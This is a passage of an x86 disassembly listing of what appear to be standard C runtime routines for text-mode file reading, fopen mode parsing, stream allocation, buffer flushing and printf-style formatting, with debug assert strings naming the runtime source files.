[eax+edx+4] or cl, 4 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, ds:dword_4F36C0[edx*4] mov [edx+eax+4], cl jmp short loc_42758A ; --------------------------------------------------------------------------- loc_427554: ; CODE XREF: sub_427380+18Ej ; sub_427380+199j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov al, [edx+ecx+4] and al, 0FBh mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, ds:dword_4F36C0[ecx*4] mov [ecx+edx+4], al loc_42758A: ; CODE XREF: sub_427380+1D2j mov edx, [ebp+arg_4] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_427596: ; CODE XREF: sub_427380:loc_4277B0j mov ecx, [ebp+arg_4] add ecx, [ebp+var_18] cmp [ebp+var_4], ecx jnb loc_4277B5 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 1Ah jnz short loc_42760E mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 40h test ecx, ecx jnz short loc_427609 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4F36C0[edx*4] mov dl, [ecx+eax+4] or dl, 2 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, ds:dword_4F36C0[eax*4] mov [eax+ecx+4], dl loc_427609: ; CODE XREF: sub_427380+250j jmp loc_4277B5 ; --------------------------------------------------------------------------- loc_42760E: ; CODE XREF: sub_427380+22Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jz short loc_42763A mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp loc_4277B0 ; --------------------------------------------------------------------------- loc_42763A: ; CODE XREF: sub_427380+297j mov edx, [ebp+var_18] mov eax, [ebp+arg_4] lea ecx, [eax+edx-1] cmp [ebp+var_4], ecx jnb short loc_427690 mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 0Ah jnz short loc_42766F mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42768B ; --------------------------------------------------------------------------- loc_42766F: ; CODE XREF: sub_427380+2D3j mov ecx, [ebp+var_C] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42768B: ; CODE XREF: sub_427380+2EDj jmp loc_4277B0 ; --------------------------------------------------------------------------- loc_427690: ; CODE XREF: sub_427380+2C7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov [ebp+var_8], 0 push 0 lea ecx, [ebp+var_10] push ecx push 1 lea edx, [ebp+var_1C] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov eax, [edx+ecx] push eax call ds:off_4F53BC test eax, eax jnz short loc_4276D9 call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_8], eax loc_4276D9: ; CODE XREF: sub_427380+34Ej cmp [ebp+var_8], 0 jnz short loc_4276E5 cmp [ebp+var_10], 0 jnz short loc_4276F9 loc_4276E5: ; CODE XREF: sub_427380+35Dj mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx jmp loc_4277B0 ; --------------------------------------------------------------------------- loc_4276F9: ; CODE XREF: sub_427380+363j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 48h test eax, eax jz short loc_427763 movsx ecx, [ebp+var_1C] cmp ecx, 0Ah jnz short loc_427735 mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_427761 ; --------------------------------------------------------------------------- loc_427735: ; CODE XREF: sub_427380+3A2j mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov al, [ebp+var_1C] mov [edx+ecx+5], al loc_427761: ; CODE XREF: sub_427380+3B3j jmp short loc_4277B0 ; --------------------------------------------------------------------------- loc_427763: ; CODE XREF: sub_427380+399j mov ecx, [ebp+var_C] cmp ecx, [ebp+arg_4] jnz short loc_427785 movsx edx, [ebp+var_1C] cmp edx, 0Ah jnz short loc_427785 mov eax, [ebp+var_C] mov byte ptr [eax], 0Ah mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_4277B0 ; --------------------------------------------------------------------------- loc_427785: ; CODE XREF: sub_427380+3E9j ; sub_427380+3F2j push 1 push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_42E570 add esp, 0Ch mov [ebp+var_20], eax movsx eax, [ebp+var_1C] cmp eax, 0Ah jz short loc_4277B0 mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_4277B0: ; CODE XREF: sub_427380+2B5j ; sub_427380:loc_42768Bj ... jmp loc_427596 ; --------------------------------------------------------------------------- loc_4277B5: ; CODE XREF: sub_427380+21Fj ; sub_427380:loc_427609j mov eax, [ebp+var_C] sub eax, [ebp+arg_4] mov [ebp+var_18], eax loc_4277BE: ; CODE XREF: sub_427380+184j mov eax, [ebp+var_18] loc_4277C1: ; CODE XREF: sub_427380+3Dj ; sub_427380+132j ... mov esp, ebp pop ebp retn sub_427380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4277D0 proc near ; CODE XREF: sub_41E390+DBp var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov eax, ds:dword_4F3550 mov [ebp+var_1C], eax mov [ebp+var_18], 0 mov [ebp+var_10], 0 loc_4277EF: ; CODE XREF: sub_4277D0+47j cmp [ebp+arg_0], 0 jnz short loc_427813 push offset aFilenameNull ; "filename != NULL" push 0 push 47h push offset a_open_c ; "_open.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_427813 int 3 ; Trap to Debugger loc_427813: ; CODE XREF: sub_4277D0+23j ; sub_4277D0+40j xor ecx, ecx test ecx, ecx jnz short loc_4277EF loc_427819: ; CODE XREF: sub_4277D0+71j cmp [ebp+arg_4], 0 jnz short loc_42783D push offset aModeNull ; "mode != NULL" push 0 push 48h push offset a_open_c ; "_open.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_42783D int 3 ; Trap to Debugger loc_42783D: ; CODE XREF: sub_4277D0+4Dj ; sub_4277D0+6Aj xor edx, edx test edx, edx jnz short loc_427819 loc_427843: ; CODE XREF: sub_4277D0+9Bj cmp [ebp+arg_C], 0 jnz short loc_427867 push offset dword_43C514 push 0 push 49h push offset a_open_c ; "_open.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_427867 int 3 ; Trap to Debugger loc_427867: ; CODE XREF: sub_4277D0+77j ; sub_4277D0+94j xor eax, eax test eax, eax jnz short loc_427843 mov ecx, [ebp+arg_4] mov dl, [ecx] mov [ebp+var_20], dl cmp [ebp+var_20], 61h jz short loc_4278AC cmp [ebp+var_20], 72h jz short loc_427889 cmp [ebp+var_20], 77h jz short loc_42789A jmp short loc_4278BE ; --------------------------------------------------------------------------- loc_427889: ; CODE XREF: sub_4277D0+AFj mov [ebp+var_14], 0 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax jmp short loc_4278C5 ; --------------------------------------------------------------------------- loc_42789A: ; CODE XREF: sub_4277D0+B5j mov [ebp+var_14], 301h mov ecx, [ebp+var_1C] or ecx, 2 mov [ebp+var_1C], ecx jmp short loc_4278C5 ; --------------------------------------------------------------------------- loc_4278AC: ; CODE XREF: sub_4277D0+A9j mov [ebp+var_14], 109h mov edx, [ebp+var_1C] or edx, 2 mov [ebp+var_1C], edx jmp short loc_4278C5 ; --------------------------------------------------------------------------- loc_4278BE: ; CODE XREF: sub_4277D0+B7j xor eax, eax jmp loc_427AE6 ; --------------------------------------------------------------------------- loc_4278C5: ; CODE XREF: sub_4277D0+C8j ; sub_4277D0+DAj ... mov [ebp+var_4], 1 loc_4278CC: ; CODE XREF: sub_4277D0:loc_427A6Aj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jz loc_427A6F cmp [ebp+var_4], 0 jz loc_427A6F mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] mov [ebp+var_24], ecx mov edx, [ebp+var_24] sub edx, 2Bh mov [ebp+var_24], edx cmp [ebp+var_24], 49h ja loc_427A63 mov ecx, [ebp+var_24] xor eax, eax mov al, byte_427B15[ecx] jmp off_427AED[eax*4] loc_42791B: ; DATA XREF: _0:off_427AEDo mov edx, [ebp+var_14] and edx, 2 test edx, edx jz short loc_42792E mov [ebp+var_4], 0 jmp short loc_427950 ; --------------------------------------------------------------------------- loc_42792E: ; CODE XREF: sub_4277D0+153j mov eax, [ebp+var_14] or al, 2 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 0FFFFFFFEh mov [ebp+var_14], ecx mov edx, [ebp+var_1C] or dl, 80h mov [ebp+var_1C], edx mov eax, [ebp+var_1C] and al, 0FCh mov [ebp+var_1C], eax loc_427950: ; CODE XREF: sub_4277D0+15Cj jmp loc_427A6A ; --------------------------------------------------------------------------- loc_427955: ; CODE XREF: sub_4277D0+144j ; DATA XREF: _0:00427B01o mov ecx, [ebp+var_14] and ecx, 0C000h test ecx, ecx jz short loc_42796B mov [ebp+var_4], 0 jmp short loc_427974 ; --------------------------------------------------------------------------- loc_42796B: ; CODE XREF: sub_4277D0+190j mov edx, [ebp+var_14] or dh, 80h mov [ebp+var_14], edx loc_427974: ; CODE XREF: sub_4277D0+199j jmp loc_427A6A ; --------------------------------------------------------------------------- loc_427979: ; CODE XREF: sub_4277D0+144j ; DATA XREF: _0:00427B0Do mov eax, [ebp+var_14] and eax, 0C000h test eax, eax jz short loc_42798E mov [ebp+var_4], 0 jmp short loc_427997 ; --------------------------------------------------------------------------- loc_42798E: ; CODE XREF: sub_4277D0+1B3j mov ecx, [ebp+var_14] or ch, 40h mov [ebp+var_14], ecx loc_427997: ; CODE XREF: sub_4277D0+1BCj jmp loc_427A6A ; --------------------------------------------------------------------------- loc_42799C: ; CODE XREF: sub_4277D0+144j ; DATA XREF: _0:00427B05o cmp [ebp+var_18], 0 jz short loc_4279AB mov [ebp+var_4], 0 jmp short loc_4279BB ; --------------------------------------------------------------------------- loc_4279AB: ; CODE XREF: sub_4277D0+1D0j mov [ebp+var_18], 1 mov edx, [ebp+var_1C] or dh, 40h mov [ebp+var_1C], edx loc_4279BB: ; CODE XREF: sub_4277D0+1D9j jmp loc_427A6A ; --------------------------------------------------------------------------- loc_4279C0: ; CODE XREF: sub_4277D0+144j ; DATA XREF: _0:00427B09o cmp [ebp+var_18], 0 jz short loc_4279CF mov [ebp+var_4], 0 jmp short loc_4279DF ; --------------------------------------------------------------------------- loc_4279CF: ; CODE XREF: sub_4277D0+1F4j mov [ebp+var_18], 1 mov eax, [ebp+var_1C] and ah, 0BFh mov [ebp+var_1C], eax loc_4279DF: ; CODE XREF: sub_4277D0+1FDj jmp loc_427A6A ; --------------------------------------------------------------------------- loc_4279E4: ; CODE XREF: sub_4277D0+144j ; DATA XREF: _0:00427AF9o cmp [ebp+var_10], 0 jz short loc_4279F3 mov [ebp+var_4], 0 jmp short loc_427A03 ; --------------------------------------------------------------------------- loc_4279F3: ; CODE XREF: sub_4277D0+218j mov [ebp+var_10], 1 mov ecx, [ebp+var_14] or ecx, 20h mov [ebp+var_14], ecx loc_427A03: ; CODE XREF: sub_4277D0+221j jmp short loc_427A6A ; --------------------------------------------------------------------------- loc_427A05: ; CODE XREF: sub_4277D0+144j ; DATA XREF: _0:00427AF5o cmp [ebp+var_10], 0 jz short loc_427A14 mov [ebp+var_4], 0 jmp short loc_427A24 ; --------------------------------------------------------------------------- loc_427A14: ; CODE XREF: sub_4277D0+239j mov [ebp+var_10], 1 mov edx, [ebp+var_14] or edx, 10h mov [ebp+var_14], edx loc_427A24: ; CODE XREF: sub_4277D0+242j jmp short loc_427A6A ; --------------------------------------------------------------------------- loc_427A26: ; CODE XREF: sub_4277D0+144j ; DATA XREF: _0:00427AFDo mov eax, [ebp+var_14] and eax, 1000h test eax, eax jz short loc_427A3B mov [ebp+var_4], 0 jmp short loc_427A44 ; --------------------------------------------------------------------------- loc_427A3B: ; CODE XREF: sub_4277D0+260j mov ecx, [ebp+var_14] or ch, 10h mov [ebp+var_14], ecx loc_427A44: ; CODE XREF: sub_4277D0+269j jmp short loc_427A6A ; --------------------------------------------------------------------------- loc_427A46: ; CODE XREF: sub_4277D0+144j ; DATA XREF: _0:00427AF1o mov edx, [ebp+var_14] and edx, 40h test edx, edx jz short loc_427A59 mov [ebp+var_4], 0 jmp short loc_427A61 ; --------------------------------------------------------------------------- loc_427A59: ; CODE XREF: sub_4277D0+27Ej mov eax, [ebp+var_14] or al, 40h mov [ebp+var_14], eax loc_427A61: ; CODE XREF: sub_4277D0+287j jmp short loc_427A6A ; --------------------------------------------------------------------------- loc_427A63: ; CODE XREF: sub_4277D0+133j ; sub_4277D0+144j ; DATA XREF: ... mov [ebp+var_4], 0 loc_427A6A: ; CODE XREF: sub_4277D0:loc_427950j ; sub_4277D0:loc_427974j ... jmp loc_4278CC ; --------------------------------------------------------------------------- loc_427A6F: ; CODE XREF: sub_4277D0+10Dj ; sub_4277D0+117j push 1A4h mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_4314E0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_427A95 xor eax, eax jmp short loc_427AE6 ; --------------------------------------------------------------------------- loc_427A95: ; CODE XREF: sub_4277D0+2BFj mov ecx, ds:dword_4F336C add ecx, 1 mov ds:dword_4F336C, ecx mov edx, [ebp+arg_C] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] mov [eax+0Ch], ecx mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov ecx, [ebp+var_C] mov dword ptr [ecx+8], 0 mov edx, [ebp+var_C] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax+10h], ecx mov eax, [ebp+var_C] loc_427AE6: ; CODE XREF: sub_4277D0+F0j ; sub_4277D0+2C3j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4277D0 endp ; --------------------------------------------------------------------------- off_427AED dd offset loc_42791B ; DATA XREF: sub_4277D0+144r dd offset loc_427A46 dd offset loc_427A05 dd offset loc_4279E4 dd offset loc_427A26 dd offset loc_427955 dd offset loc_42799C dd offset loc_4279C0 dd offset loc_427979 dd offset loc_427A63 byte_427B15 db 0 ; DATA XREF: sub_4277D0+13Er dw 909h dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h dd 0CC080909h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427B60 proc near ; CODE XREF: sub_41E390+B9p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 push 2 call sub_423280 add esp, 4 mov [ebp+var_4], 0 jmp short loc_427B89 ; --------------------------------------------------------------------------- loc_427B80: ; CODE XREF: sub_427B60+A8j ; sub_427B60:loc_427C89j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_427B89: ; CODE XREF: sub_427B60+1Ej mov ecx, [ebp+var_4] cmp ecx, ds:dword_4F4A20 jge loc_427C8E mov edx, [ebp+var_4] mov eax, ds:dword_4F3A14 cmp dword ptr [eax+edx*4], 0 jz short loc_427C1F mov ecx, [ebp+var_4] mov edx, ds:dword_4F3A14 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jnz short loc_427C1D mov edx, [ebp+var_4] mov eax, ds:dword_4F3A14 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_4] push edx call sub_422460 add esp, 8 mov eax, [ebp+var_4] mov ecx, ds:dword_4F3A14 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_427C0D mov ecx, [ebp+var_4] mov edx, ds:dword_4F3A14 mov eax, [edx+ecx*4] push eax mov ecx, [ebp+var_4] push ecx call sub_4224D0 add esp, 8 jmp loc_427B80 ; --------------------------------------------------------------------------- loc_427C0D: ; CODE XREF: sub_427B60+8Dj mov edx, [ebp+var_4] mov eax, ds:dword_4F3A14 mov ecx, [eax+edx*4] mov [ebp+var_8], ecx jmp short loc_427C8E ; --------------------------------------------------------------------------- loc_427C1D: ; CODE XREF: sub_427B60+5Dj jmp short loc_427C89 ; --------------------------------------------------------------------------- loc_427C1F: ; CODE XREF: sub_427B60+44j push 55h push offset aStream_c ; "stream.c" push 2 push 38h call sub_41BE70 add esp, 10h mov edx, [ebp+var_4] mov ecx, ds:dword_4F3A14 mov [ecx+edx*4], eax mov edx, [ebp+var_4] mov eax, ds:dword_4F3A14 cmp dword ptr [eax+edx*4], 0 jz short loc_427C87 mov ecx, [ebp+var_4] mov edx, ds:dword_4F3A14 mov eax, [edx+ecx*4] add eax, 20h push eax call ds:dword_4F54A4 ; InitializeCriticalSection mov ecx, [ebp+var_4] mov edx, ds:dword_4F3A14 mov eax, [edx+ecx*4] add eax, 20h push eax call ds:dword_4F53A8 ; RtlEnterCriticalSection mov ecx, [ebp+var_4] mov edx, ds:dword_4F3A14 mov eax, [edx+ecx*4] mov [ebp+var_8], eax loc_427C87: ; CODE XREF: sub_427B60+EAj jmp short loc_427C8E ; --------------------------------------------------------------------------- loc_427C89: ; CODE XREF: sub_427B60:loc_427C1Dj jmp loc_427B80 ; --------------------------------------------------------------------------- loc_427C8E: ; CODE XREF: sub_427B60+32j ; sub_427B60+BBj ... cmp [ebp+var_8], 0 jz short loc_427CCF mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+10h], 0FFFFFFFFh loc_427CCF: ; CODE XREF: sub_427B60+132j push 2 call sub_423320 add esp, 4 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_427B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427CE0 proc near ; CODE XREF: sub_41EA60+E5p ; sub_41EC30+E4p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi loc_427CE9: ; CODE XREF: sub_427CE0+31j cmp [ebp+arg_4], 0 jnz short loc_427D0D push offset dword_43C514 push 0 push 69h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_427D0D int 3 ; Trap to Debugger loc_427D0D: ; CODE XREF: sub_427CE0+Dj ; sub_427CE0+2Aj xor eax, eax test eax, eax jnz short loc_427CE9 mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_10], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 82h test edx, edx jz short loc_427D3F mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 40h test ecx, ecx jz short loc_427D55 loc_427D3F: ; CODE XREF: sub_427CE0+50j mov edx, [ebp+var_8] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_8] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_427F4D ; --------------------------------------------------------------------------- loc_427D55: ; CODE XREF: sub_427CE0+5Dj mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 1 test eax, eax jz short loc_427DAC mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 10h test eax, eax jz short loc_427D95 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFFEh mov eax, [ebp+var_8] mov [eax+0Ch], edx jmp short loc_427DAC ; --------------------------------------------------------------------------- loc_427D95: ; CODE XREF: sub_427CE0+97j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+var_8] mov [eax+0Ch], edx or eax, 0FFFFFFFFh jmp loc_427F4D ; --------------------------------------------------------------------------- loc_427DAC: ; CODE XREF: sub_427CE0+80j ; sub_427CE0+B3j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov [ebp+var_4], 0 mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jnz short loc_427E1F cmp [ebp+var_8], offset dword_451868 jz short loc_427E03 cmp [ebp+var_8], offset dword_451888 jnz short loc_427E13 loc_427E03: ; CODE XREF: sub_427CE0+118j mov edx, [ebp+var_10] push edx call sub_431A40 add esp, 4 test eax, eax jnz short loc_427E1F loc_427E13: ; CODE XREF: sub_427CE0+121j mov eax, [ebp+var_8] push eax call sub_4313D0 add esp, 4 loc_427E1F: ; CODE XREF: sub_427CE0+10Fj ; sub_427CE0+131j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz loc_427F0B loc_427E33: ; CODE XREF: sub_427CE0+187j mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [eax] sub edx, [ecx+8] test edx, edx jge short loc_427E63 push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"... push 0 push 0A0h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_427E63 int 3 ; Trap to Debugger loc_427E63: ; CODE XREF: sub_427CE0+160j ; sub_427CE0+180j xor eax, eax test eax, eax jnz short loc_427E33 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx] sub eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+var_8] mov [eax], edx mov ecx, [ebp+var_8] mov edx, [ecx+18h] sub edx, 1 mov eax, [ebp+var_8] mov [eax+4], edx cmp [ebp+var_4], 0 jle short loc_427EB6 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, [edx+8] push eax mov ecx, [ebp+var_10] push ecx call sub_42E940 add esp, 0Ch mov [ebp+var_C], eax jmp short loc_427EFE ; --------------------------------------------------------------------------- loc_427EB6: ; CODE XREF: sub_427CE0+1B8j cmp [ebp+var_10], 0FFFFFFFFh jz short loc_427ED9 mov edx, [ebp+var_10] sar edx, 5 mov eax, [ebp+var_10] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4F36C0[edx*4] add ecx, eax mov [ebp+var_14], ecx jmp short loc_427EE0 ; --------------------------------------------------------------------------- loc_427ED9: ; CODE XREF: sub_427CE0+1DAj mov [ebp+var_14], offset dword_454390 loc_427EE0: ; CODE XREF: sub_427CE0+1F7j mov edx, [ebp+var_14] movsx eax, byte ptr [edx+4] and eax, 20h test eax, eax jz short loc_427EFE push 2 push 0 mov ecx, [ebp+var_10] push ecx call sub_42E4E0 add esp, 0Ch loc_427EFE: ; CODE XREF: sub_427CE0+1D4j ; sub_427CE0+20Cj mov edx, [ebp+var_8] mov eax, [edx+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_427F29 ; --------------------------------------------------------------------------- loc_427F0B: ; CODE XREF: sub_427CE0+14Dj mov [ebp+var_4], 1 mov edx, [ebp+var_4] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] push ecx call sub_42E940 add esp, 0Ch mov [ebp+var_C], eax loc_427F29: ; CODE XREF: sub_427CE0+229j mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jz short loc_427F45 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx or eax, 0FFFFFFFFh jmp short loc_427F4D ; --------------------------------------------------------------------------- loc_427F45: ; CODE XREF: sub_427CE0+24Fj mov eax, [ebp+arg_0] and eax, 0FFh loc_427F4D: ; CODE XREF: sub_427CE0+70j ; sub_427CE0+C7j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427CE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427F60 proc near ; CODE XREF: sub_41EA60+9Ap ; sub_41EC30+99p ... var_2A6 = word ptr -2A6h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = byte ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = word ptr -248h var_244 = dword ptr -244h var_240 = byte ptr -240h var_23F = byte ptr -23Fh var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = byte ptr -228h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2A8h push ebx push esi push edi mov [ebp+var_24], 0 mov [ebp+var_22C], 0 mov [ebp+var_18], 0 loc_427F84: ; CODE XREF: sub_427F60:loc_428B72j mov eax, [ebp+arg_4] mov cl, [eax] mov byte ptr [ebp+var_28], cl movsx edx, byte ptr [ebp+var_28] mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test edx, edx jz loc_428B77 cmp [ebp+var_22C], 0 jl loc_428B77 movsx ecx, byte ptr [ebp+var_28] cmp ecx, 20h jl short loc_427FD6 movsx edx, byte ptr [ebp+var_28] cmp edx, 78h jg short loc_427FD6 movsx eax, byte ptr [ebp+var_28] movsx ecx, byte ptr [eax+43D150h] and ecx, 0Fh mov [ebp+var_290], ecx jmp short loc_427FE0 ; --------------------------------------------------------------------------- loc_427FD6: ; CODE XREF: sub_427F60+55j ; sub_427F60+5Ej mov [ebp+var_290], 0 loc_427FE0: ; CODE XREF: sub_427F60+74j mov edx, [ebp+var_290] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_18] movsx edx, ds:byte_43D170[ecx+eax*8] sar edx, 4 mov [ebp+var_18], edx mov eax, [ebp+var_18] mov [ebp+var_294], eax cmp [ebp+var_294], 7 ja loc_428B72 mov ecx, [ebp+var_294] jmp off_428B84[ecx*4] loc_428020: ; CODE XREF: sub_427F60+332j ; DATA XREF: _0:off_428B84o mov [ebp+var_1C], 0 mov edx, [ebp+var_28] and edx, 0FFh mov eax, ds:off_453BE4 xor ecx, ecx mov 